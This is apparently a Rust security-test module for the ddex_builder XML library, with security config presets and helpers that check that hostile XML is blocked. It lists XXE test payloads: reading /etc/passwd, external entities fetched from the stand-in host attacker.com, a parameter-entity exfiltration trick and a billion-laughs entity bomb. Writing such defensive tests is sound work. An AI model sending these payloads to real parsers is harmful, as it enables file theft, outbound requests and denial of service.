pub mod xxe_prevention_tests;
pub mod entity_expansion_tests;
pub mod parameter_entity_tests;
pub mod malicious_payload_tests;
pub mod builder_security_tests;
pub mod integration_tests;
pub mod path_validator_tests;
use ddex_builder::security::SecurityConfig;
pub fn test_security_config() -> SecurityConfig {
SecurityConfig::default()
}
pub fn restrictive_security_config() -> SecurityConfig {
SecurityConfig {
max_xml_size: 10_000, max_json_size: 10_000, max_string_size: 1_000, max_xml_depth: 10, max_attributes_per_element: 10,
max_child_elements: 100,
allow_external_entities: false,
allow_dtd: false,
rate_limiting_enabled: true,
max_requests_per_minute: 10, }
}
pub fn permissive_security_config() -> SecurityConfig {
SecurityConfig {
max_xml_size: 10_000_000, max_json_size: 10_000_000, max_string_size: 100_000, max_xml_depth: 1000, max_attributes_per_element: 1000,
max_child_elements: 100_000,
allow_external_entities: false, allow_dtd: false, rate_limiting_enabled: false, max_requests_per_minute: 1000,
}
}
#[cfg(test)]
mod test_utilities {
use super::*;
use ddex_builder::{
error::BuildError,
security::{InputValidator, SecureXmlReader},
};
use std::io::Cursor;
pub fn assert_xxe_blocked(xml_content: &str, description: &str) {
let config = test_security_config();
let validator = InputValidator::new(config.clone());
let result = validator.validate_xml_content(xml_content);
assert!(
result.is_err(),
"{} should be blocked by InputValidator: {:?}",
description,
result
);
let cursor = Cursor::new(xml_content.as_bytes());
let mut reader = SecureXmlReader::new(cursor, config);
let mut buf = Vec::new();
let mut events_processed = 0;
let max_events = 100;
loop {
if events_processed >= max_events {
panic!("{}: Too many events processed, security measure may not be working", description);
}
match reader.read_event(&mut buf) {
Ok(quick_xml::events::Event::Eof) => {
break;
}
Ok(_) => {
events_processed += 1;
buf.clear();
}
Err(BuildError::Security(msg)) => {
assert!(
msg.contains("DTD") || msg.contains("entity") ||
msg.contains("external") || msg.contains("bomb") ||
msg.contains("dangerous") || msg.contains("timeout") ||
msg.contains("depth") || msg.contains("elements"),
"{}: Security error message should be descriptive: {}",
description, msg
);
return;
}
Err(_) => {
return;
}
}
}
if events_processed > 0 {
println!("Warning: {} was not blocked at XML parsing level but may be caught by content validation", description);
}
}
pub fn assert_valid_xml_allowed(xml_content: &str, description: &str) {
let config = test_security_config();
let validator = InputValidator::new(config.clone());
let result = validator.validate_xml_content(xml_content);
assert!(
result.is_ok(),
"{} should be allowed: {:?}",
description,
result
);
let cursor = Cursor::new(xml_content.as_bytes());
let mut reader = SecureXmlReader::new(cursor, config);
let mut buf = Vec::new();
let mut events_processed = 0;
loop {
match reader.read_event(&mut buf) {
Ok(quick_xml::events::Event::Eof) => break,
Ok(_) => {
events_processed += 1;
buf.clear();
if events_processed > 1000 {
panic!("{}: Processing too many events, possible infinite loop", description);
}
}
Err(e) => {
panic!("{} should not produce errors: {:?}", description, e);
}
}
}
assert!(events_processed > 0, "{}: Should have processed some XML events", description);
}
pub fn generate_xxe_payloads() -> Vec<(&'static str, String)> {
vec![
(
"Basic file disclosure",
r#"<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>"#.to_string()
),
(
"HTTP external entity",
r#"<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://attacker.com/evil.xml">]><root>&xxe;</root>"#.to_string()
),
(
"Parameter entity file disclosure",
r#"<!DOCTYPE test [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;]><test/>"#.to_string()
),
(
"Billion laughs",
r#"<!DOCTYPE bomb [<!ENTITY a "aaaaaaaaaa"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">]><bomb>&c;</bomb>"#.to_string()
),
(
"Parameter entity network request",
r#"<!DOCTYPE test [<!ENTITY % remote SYSTEM "http://attacker.com/remote.xml">%remote;]><test/>"#.to_string()
),
]
}
pub fn generate_valid_xml_payloads() -> Vec<(&'static str, String)> {
vec![
(
"Simple valid XML",
r#"<root><child>content</child></root>"#.to_string()
),
(
"XML with attributes",
r#"<root id="123"><child attr="value">content</child></root>"#.to_string()
),
(
"XML with CDATA",
r#"<root><![CDATA[<content>with special chars & symbols</content>]]></root>"#.to_string()
),
(
"XML with standard entities",
r#"<root><content> & "quotes"</root>"#.to_string()
),
(
"DDEX-like structure",
r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43"><ddex:MessageHeader><ddex:MessageId>MSG123</ddex:MessageId></ddex:MessageHeader></ddex:NewReleaseMessage>"#.to_string()
),
]
}
}
pub use test_utilities::*;